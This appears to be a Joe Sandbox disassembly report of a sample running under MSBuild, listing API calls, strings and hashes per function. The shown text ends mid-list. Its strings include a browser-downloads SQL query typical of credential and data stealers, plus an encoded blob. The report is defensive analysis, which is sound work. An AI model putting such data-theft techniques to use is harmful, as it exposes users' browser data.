SetFilePointer.KERNEL32(00000000,00000000,00000000,00000001,74DE83C0,00000000,?,?,?,?,?,?,0041C6A2,?,00417037,?), ref: 0041C12C
SetFilePointer.KERNEL32(?,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,0041C6A2,?,00417037), ref: 0041C15C
GetLocalTime.KERNEL32(?,?,?,?,?,?,?,0041C6A2,?,00417037,?), ref: 0041C188
SystemTimeToFileTime.KERNEL32(?,?,?,?,?,?,?,?,0041C6A2,?,00417037,?), ref: 0041C196

Part of subcall function 0041BAA4: GetFileInformationByHandle.KERNEL32(?,?,00000000,?,00CD24A0), ref: 0041BAD8

Strings

7pA, xrefs: 0041C0E9

Memory Dump Source

Source File: 00000003.00000002.2174458155.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2174458155.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: File$Time$Pointer$HandleInformationLocalSystem
String ID: 7pA
API String ID: 3986731826-4034994935
Opcode ID: 67e2672ab753ca4f37cc9b7268c95e0e1104df219937840ae09d8f1390f1a5d2
Instruction ID: a03e18f876bb7c6bb95fa29af4f0117ab82ea060c0d505197b56aaa6882e86ab
Opcode Fuzzy Hash: 67e2672ab753ca4f37cc9b7268c95e0e1104df219937840ae09d8f1390f1a5d2
Instruction Fuzzy Hash: 97415971900209EBCF15DF69CC80ADEBBF8FF48310F10426AE854EA266D7349985CFA4

Function 0041BE93 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 91fileCOMMON

Download Yara Rule

APIs

malloc.MSVCRT ref: 0041BED8
_memmove.LIBCMT ref: 0041BEEC
_memmove.LIBCMT ref: 0041BF39
WriteFile.KERNEL32(00000000,?,6703D77D,?,00000000,00CD24A0,?,00000001,00CD24A0,?,0041AF7E,?,00000001,00CD24A0,6703D77D,?), ref: 0041BF58

Strings

1zXIV22uf8k30T/rnb/8Aoo1xNfQZXdUpRb2bX5Hx2fJfWYySteKb+9hRRRXpnhhRRn2pM0hi/jSUlFMBc0hNFFIYlFFFABRRSGgAooooGFJRRQAUUUnegYUUUUAB6UlKaSgYUlLSGgAoooNAxKKKKBhSUUUwCkpTSUDCkoNFABSUtJQAUhpaQ0DCkpaSgYUhpaSgYUGikpgFJS0lAwPSkpaSgYUlLSUAFJSmkoGJRRRQMSiiigYlFFJQAUlBooGFJRR, xrefs: 0041BF63

Memory Dump Source

Source File: 00000003.00000002.2174458155.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2174458155.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: _memmove$FileWritemalloc
String ID: 1zXIV22uf8k30T/rnb/8Aoo1xNfQZXdUpRb2bX5Hx2fJfWYySteKb+9hRRRXpnhhRRn2pM0hi/jSUlFMBc0hNFFIYlFFFABRRSGgAooooGFJRRQAUUUnegYUUUUAB6UlKaSgYUlLSGgAoooNAxKKKKBhSUUUwCkpTSUDCkoNFABSUtJQAUhpaQ0DCkpaSgYUhpaSgYUGikpgFJS0lAwPSkpaSgYUlLSUAFJSmkoGJRRRQMSiiigYlFFJQAUlBooGFJRR
API String ID: 803809635-75947119
Opcode ID: 081153dacd6338b17544171e625a01bba3250c1498290e89897b4e19aa5d6555
Instruction ID: ab02847f2cf5829e892bba1cb09279ef8e0d79e99e6af2a88f0bb91435c9bab5
Opcode Fuzzy Hash: 081153dacd6338b17544171e625a01bba3250c1498290e89897b4e19aa5d6555
Instruction Fuzzy Hash: F7316A72600704AFD721CF55D980AA7B7F8FB48700F40892EE986C7A40DB74F9458F98

Function 6CC074A0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 72COMMON

Download Yara Rule

APIs

SetLastError.KERNEL32(00000000), ref: 6CC07526
__Init_thread_footer.LIBCMT ref: 6CC07566
__Init_thread_footer.LIBCMT ref: 6CC07597

Strings

kernel32.dll, xrefs: 6CC07557
UnmapViewOfFile2, xrefs: 6CC07552

Memory Dump Source

Source File: 00000003.00000002.2215664902.000000006CBA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBA0000, based on PE: true

Associated: 00000003.00000002.2215641140.000000006CBA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2215872054.000000006CC1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2215910000.000000006CC2E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2215929799.000000006CC32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cba0000_MSBuild.jbxd

Similarity

API ID: Init_thread_footer$ErrorLast
String ID: UnmapViewOfFile2$kernel32.dll
API String ID: 3217676052-1401603581
Opcode ID: 26ac3072e63c79fd7e24879f02f615301ed201947bfcd32ebba00a47753c4f15
Instruction ID: f6171b03bc444cb7e73c7c47b4747bde5351661ef1da7fe4f3ac651a6945c004
Opcode Fuzzy Hash: 26ac3072e63c79fd7e24879f02f615301ed201947bfcd32ebba00a47753c4f15
Instruction Fuzzy Hash: D4214632700655AFCB1C9FE9C814E893375FB86B25F014528E80687F40FB3AB8029B91

Function 0040F2B1 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 58COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 0040F2C7

Part of subcall function 0042ED65: std::exception::exception.LIBCMT ref: 0042ED7A
Part of subcall function 0042ED65: __CxxThrowException@8.LIBCMT ref: 0042ED8F
Part of subcall function 0042ED65: std::exception::exception.LIBCMT ref: 0042EDA0

std::_Xinvalid_argument.LIBCPMT ref: 0040F2E6
_memmove.LIBCMT ref: 0040F320

Strings

invalid string position, xrefs: 0040F2C2
string too long, xrefs: 0040F2E1

Memory Dump Source

Source File: 00000003.00000002.2174458155.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2174458155.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Xinvalid_argumentstd::_std::exception::exception$Exception@8Throw_memmove
String ID: invalid string position$string too long
API String ID: 3404309857-4289949731
Opcode ID: 585f722b960d61c8edb6e887eede1a8e5c7a6d662bb162e141d0d5ca5504c1c1
Instruction ID: 8d1b4f359d452bc0139d647030d3afcb4c777ebb34d0dc45517a8c2f57a5c6cf
Opcode Fuzzy Hash: 585f722b960d61c8edb6e887eede1a8e5c7a6d662bb162e141d0d5ca5504c1c1
Instruction Fuzzy Hash: 4C11E071300202AFCB24EF2DD981A59B3A5BF41324754053AF805EBAC2C778ED598799

Function 6CC0C410 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6CC0C0E9), ref: 6CC0C418
GetProcAddress.KERNEL32(00000000,NtQueryVirtualMemory), ref: 6CC0C437
FreeLibrary.KERNEL32(?,6CC0C0E9), ref: 6CC0C44C

Strings

NtQueryVirtualMemory, xrefs: 6CC0C431
ntdll.dll, xrefs: 6CC0C413

Memory Dump Source

Source File: 00000003.00000002.2215664902.000000006CBA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBA0000, based on PE: true

Associated: 00000003.00000002.2215641140.000000006CBA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2215872054.000000006CC1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2215910000.000000006CC2E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2215929799.000000006CC32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cba0000_MSBuild.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: NtQueryVirtualMemory$ntdll.dll
API String ID: 145871493-2623246514
Opcode ID: d3f6c0e0d7ca533810670499b13be024a15d0dcda2e41abed433e3fddbac43cd
Instruction ID: e5d2cefe6482c00034d724f5b7ed93ebb0defd41b0eae8a910bfc05f79657f22
Opcode Fuzzy Hash: d3f6c0e0d7ca533810670499b13be024a15d0dcda2e41abed433e3fddbac43cd
Instruction Fuzzy Hash: CBE0B6787253199FEF007F71CA28721BBF8FB07604F044116EA0591A41EBBDC4018B51

Function 6CC075B0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6CC0748B,?), ref: 6CC075B8
GetProcAddress.KERNEL32(00000000,RtlNtStatusToDosError), ref: 6CC075D7
FreeLibrary.KERNEL32(?,6CC0748B,?), ref: 6CC075EC

Strings

RtlNtStatusToDosError, xrefs: 6CC075D1
ntdll.dll, xrefs: 6CC075B3

Memory Dump Source

Source File: 00000003.00000002.2215664902.000000006CBA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBA0000, based on PE: true

Associated: 00000003.00000002.2215641140.000000006CBA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2215872054.000000006CC1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2215910000.000000006CC2E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2215929799.000000006CC32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cba0000_MSBuild.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: RtlNtStatusToDosError$ntdll.dll
API String ID: 145871493-3641475894
Opcode ID: e6976b6c42825a052bde813fad1b2eb7d127f4df3e382b722b4cedb353e4785e
Instruction ID: 114928c11a36b1eacf5f53794b69941060308b5328201fee281de883e52accd6
Opcode Fuzzy Hash: e6976b6c42825a052bde813fad1b2eb7d127f4df3e382b722b4cedb353e4785e
Instruction Fuzzy Hash: 83E0B67172032AAFEF006FA2C858B017AF8EB06618F104025A946D1640EBFD84C2CF10

Function 004092A7 Relevance: 7.7, APIs: 2, Strings: 3, Instructions: 192stringCOMMON

Download Yara Rule

APIs

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,0041718B,004366CD,?,?,?,?,0041869F), ref: 0041050D

lstrlenA.KERNEL32(?), ref: 004094AB
lstrlenA.KERNEL32(?), ref: 004094C6

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 00410650

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,004176F9,004366DA), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,004171CA,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 004105BD

Strings

Downloads, xrefs: 00409328
Downloads, xrefs: 004092D1
SELECT target_path, tab_url from downloads, xrefs: 004093B9

Memory Dump Source

Source File: 00000003.00000002.2174458155.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2174458155.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat
String ID: Downloads$Downloads$SELECT target_path, tab_url from downloads
API String ID: 2500673778-2241552939
Opcode ID: d0f7768f232a6fea81bb31f6e52023b3460b0561fbafc780798fbd3c5f61104f
Instruction ID: 0396c6ceee9e83395f4e3e89a2b70f5b696ce729a6e58c91481c5bf3bd851482
Opcode Fuzzy Hash: d0f7768f232a6fea81bb31f6e52023b3460b0561fbafc780798fbd3c5f61104f
Instruction Fuzzy Hash: 75711F71A40119AFCF01FFA6DE469DDB775AF04309F611026F500B71E1DBB8AE898B98

Function 6CC0BE50 Relevance: 7.7, APIs: 5, Instructions: 163memoryCOMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,00000000,?,?,6CC0BE49), ref: 6CC0BEC4
RtlCaptureStackBackTrace.NTDLL ref: 6CC0BEDE
memset.VCRUNTIME140(00000000,00000000,-00000008,?,6CC0BE49), ref: 6CC0BF38
RtlReAllocateHeap.NTDLL ref: 6CC0BF83
RtlFreeHeap.NTDLL ref: 6CC0BFA6

Memory Dump Source

Source File: 00000003.00000002.2215664902.000000006CBA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBA0000, based on PE: true

Associated: 00000003.00000002.2215641140.000000006CBA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2215872054.000000006CC1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2215910000.000000006CC2E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2215929799.000000006CC32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cba0000_MSBuild.jbxd

Similarity

API ID: Heapmemset$AllocateBackCaptureFreeStackTrace
String ID:
API String ID: 2764315370-0
Opcode ID: f2bf73ad43f24f8bb794ee34202729ff3e37f33140d5b3180d136254d0a73d5a
Instruction ID: b19ccafa4ae4af916c8f03af69cf8130ca22ac049cda1fbbf40c5b025fd4bb56
Opcode Fuzzy Hash: f2bf73ad43f24f8bb794ee34202729ff3e37f33140d5b3180d136254d0a73d5a
Instruction Fuzzy Hash: 91519F76B002058FE714CF69CD90BAAB3A6FF88314F294639D515A7B94E731F9068F90

Function 6CBA4DE0 Relevance: 7.6, APIs: 5, Instructions: 133stringCOMMON

Download Yara Rule

APIs

?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6CBA4E5A
?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6CBA4E97
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CBA4EE9
memcpy.VCRUNTIME140(?,?,00000000), ref: 6CBA4F02
?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?), ref: 6CBA4F1E

Memory Dump Source

Source File: 00000003.00000002.2215664902.000000006CBA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBA0000, based on PE: true

Associated: 00000003.00000002.2215641140.000000006CBA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2215872054.000000006CC1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2215910000.000000006CC2E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2215929799.000000006CC32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cba0000_MSBuild.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@CreateRepresentation@$Ascii@DecimalDtoaExponentialMode@12@memcpystrlen
String ID:
API String ID: 713647276-0
Opcode ID: fb9de1f7673c5cc15f9c1184941d6ef583d023cd3a79ce7d4d48c085eeee02ae
Instruction ID: 7560800123c6a2615704e29b73217bace81d0bb2e5c9cd12f1e292bceb1a5c95
Opcode Fuzzy Hash: fb9de1f7673c5cc15f9c1184941d6ef583d023cd3a79ce7d4d48c085eeee02ae
Instruction Fuzzy Hash: DA41E3716087819FC705CFA9C48095BB7E4FF89344F109A2DF4A987B41DB31E95ACB92

Function 6CBB1530 Relevance: 7.6, APIs: 5, Instructions: 98COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(-00000002,?,6CBB152B,?,?,?,?,6CBB1248,?), ref: 6CBB159C
memcpy.VCRUNTIME140(00000023,?,?,?,?,6CBB152B,?,?,?,?,6CBB1248,?), ref: 6CBB15BC
moz_xmalloc.MOZGLUE(-00000001,?,6CBB152B,?,?,?,?,6CBB1248,?), ref: 6CBB15E7
free.MOZGLUE(?,?,?,?,?,?,6CBB152B,?,?,?,?,6CBB1248,?), ref: 6CBB1606
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,6CBB152B,?,?,?,?,6CBB1248,?), ref: 6CBB1637

Memory Dump Source

Source File: 00000003.00000002.2215664902.000000006CBA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBA0000, based on PE: true

Associated: 00000003.00000002.2215641140.000000006CBA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2215872054.000000006CC1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2215910000.000000006CC2E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2215929799.000000006CC32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cba0000_MSBuild.jbxd

Similarity

API ID: moz_xmalloc$_invalid_parameter_noinfo_noreturnfreememcpy
String ID:
API String ID: 733145618-0
Opcode ID: 4c76eeb75d7f12776ec57b29e35141569df515bd89e3d995cd70720dadf490a0
Instruction ID: 9008f7e62c19491ad60cb6942a224e3ae496c5a33420ed8d7321522baab3ae4e
Opcode Fuzzy Hash: 4c76eeb75d7f12776ec57b29e35141569df515bd89e3d995cd70720dadf490a0
Instruction Fuzzy Hash: 9631D672A001558BC7188E78D9514BE77A9FB863647280B2DE823EBBD4EF30D9148792

Function 6CC0AD70 Relevance: 7.6, APIs: 5, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000000,?,00000000,?,?,6CC1E330,?,6CBCC059), ref: 6CC0AD9D

Part of subcall function 6CBBCA10: malloc.MOZGLUE(?), ref: 6CBBCA26

memset.VCRUNTIME140(00000000,00000000,00000000,00000000,?,?,6CC1E330,?,6CBCC059), ref: 6CC0ADAC
free.MOZGLUE(?,?,?,?,00000000,?,?,6CC1E330,?,6CBCC059), ref: 6CC0AE01
GetLastError.KERNEL32(?,00000000,?,?,6CC1E330,?,6CBCC059), ref: 6CC0AE1D
GetLastError.KERNEL32(?,00000000,00000000,00000000,?,?,?,00000000,?,?,6CC1E330,?,6CBCC059), ref: 6CC0AE3D

Memory Dump Source

Source File: 00000003.00000002.2215664902.000000006CBA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBA0000, based on PE: true

Associated: 00000003.00000002.2215641140.000000006CBA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2215872054.000000006CC1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2215910000.000000006CC2E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2215929799.000000006CC32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cba0000_MSBuild.jbxd

Similarity

API ID: ErrorLast$freemallocmemsetmoz_xmalloc
String ID:
API String ID: 3161513745-0
Opcode ID: 2c9e8943eda5bb151bb70ad176c7f14d72fb8c966aa8b72e2fc3822f5e842c51
Instruction ID: 15d84fd7b284a9f632e1aa6c0aa885f52c41dad2b8a28a3f5101c1e6ecf51f7c
Opcode Fuzzy Hash: 2c9e8943eda5bb151bb70ad176c7f14d72fb8c966aa8b72e2fc3822f5e842c51
Instruction Fuzzy Hash: 623112B1A002159FDB10DF768D44AABB7F8EF89664F15482DE85AE7700F735E804CBA4

Function 6CC05EF0 Relevance: 7.6, APIs: 5, Instructions: 89COMMON

Download Yara Rule

APIs

?_Ipfx@?$basic_istream@DU?$char_traits@D@std@@@std@@QAE_N_N@Z.MSVCP140(00000001,00000000,6CC1DCA0,?,?,?,6CBDE8B5,00000000), ref: 6CC05F1F
?sgetc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(?,6CBDE8B5,00000000), ref: 6CC05F4B
?snextc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(00000000,?,6CBDE8B5,00000000), ref: 6CC05F7B
?clear@?$basic_ios@DU?$char_traits@D@std@@@std@@QAEXH_N@Z.MSVCP140(6E65475B,00000000,?,6CBDE8B5,00000000), ref: 6CC05F9F
?sbumpc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(?,6CBDE8B5,00000000), ref: 6CC05FD6

Memory Dump Source

Source File: 00000003.00000002.2215664902.000000006CBA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBA0000, based on PE: true

Associated: 00000003.00000002.2215641140.000000006CBA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2215872054.000000006CC1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2215910000.000000006CC2E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2215929799.000000006CC32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cba0000_MSBuild.jbxd

Similarity

API ID: D@std@@@std@@U?$char_traits@$?clear@?$basic_ios@?sbumpc@?$basic_streambuf@?sgetc@?$basic_streambuf@?snextc@?$basic_streambuf@Ipfx@?$basic_istream@
String ID:
API String ID: 1389714915-0
Opcode ID: 15d1762fcd3266d050194b1a83372e7e839a17b1c01ebb8e362c61ffae4bd3b8
Instruction ID: fa318cc2193980851006114601d5550f1e5eaf09219a9cec1c5dae4c7f2082a8
Opcode Fuzzy Hash: 15d1762fcd3266d050194b1a83372e7e839a17b1c01ebb8e362c61ffae4bd3b8
Instruction Fuzzy Hash: 73311A343006008FD710CF29C898E6ABBF5FF89719FA48558E5568B795DB3AEC41CB84

Function 6CBAB4C0 Relevance: 7.6, APIs: 5, Instructions: 84COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 6CBAB532
moz_xmalloc.MOZGLUE(?), ref: 6CBAB55B
memset.VCRUNTIME140(00000000,00000000,?), ref: 6CBAB56B
wcsncpy_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?), ref: 6CBAB57E
free.MOZGLUE(00000000), ref: 6CBAB58F

Memory Dump Source

Source File: 00000003.00000002.2215664902.000000006CBA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBA0000, based on PE: true

Associated: 00000003.00000002.2215641140.000000006CBA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2215872054.000000006CC1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2215910000.000000006CC2E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2215929799.000000006CC32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cba0000_MSBuild.jbxd

Similarity

API ID: HandleModulefreememsetmoz_xmallocwcsncpy_s
String ID:
API String ID: 4244350000-0
Opcode ID: 675a9724a4616d604052173f9f12afe5e83d031918a3e30cee5b715447b9c849
Instruction ID: 16e5f8b69020865b5fcdfbade1e57c60501871638fe78d73b373295a31c04b4a
Opcode Fuzzy Hash: 675a9724a4616d604052173f9f12afe5e83d031918a3e30cee5b715447b9c849
Instruction Fuzzy Hash: E121F871A042499BDB00CFA5CC50BAEBBB9FF42314F244029E968DB341E735DD12C7A1

Function 6CC06E50 Relevance: 7.6, APIs: 5, Instructions: 72COMMON

Download Yara Rule

APIs

MozDescribeCodeAddress.MOZGLUE(?,?), ref: 6CC06E78

Part of subcall function 6CC06A10: InitializeCriticalSection.KERNEL32(6CC2F618), ref: 6CC06A68
Part of subcall function 6CC06A10: GetCurrentProcess.KERNEL32 ref: 6CC06A7D
Part of subcall function 6CC06A10: GetCurrentProcess.KERNEL32 ref: 6CC06AA1
Part of subcall function 6CC06A10: EnterCriticalSection.KERNEL32(6CC2F618), ref: 6CC06AAE
Part of subcall function 6CC06A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100), ref: 6CC06AE1
Part of subcall function 6CC06A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100), ref: 6CC06B15
Part of subcall function 6CC06A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100,?,?), ref: 6CC06B65
Part of subcall function 6CC06A10: LeaveCriticalSection.KERNEL32(6CC2F618,?,?), ref: 6CC06B83

MozFormatCodeAddress.MOZGLUE ref: 6CC06EC1
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(?), ref: 6CC06EE1
_fileno.API-MS-WIN-CRT-STDIO-L1-1-0(?), ref: 6CC06EED
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000400), ref: 6CC06EFF

Memory Dump Source

Source File: 00000003.00000002.2215664902.000000006CBA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBA0000, based on PE: true

Associated: 00000003.00000002.2215641140.000000006CBA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2215872054.000000006CC1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2215910000.000000006CC2E000.00000004.00000001.01000000.00000009.sdmpDownload File
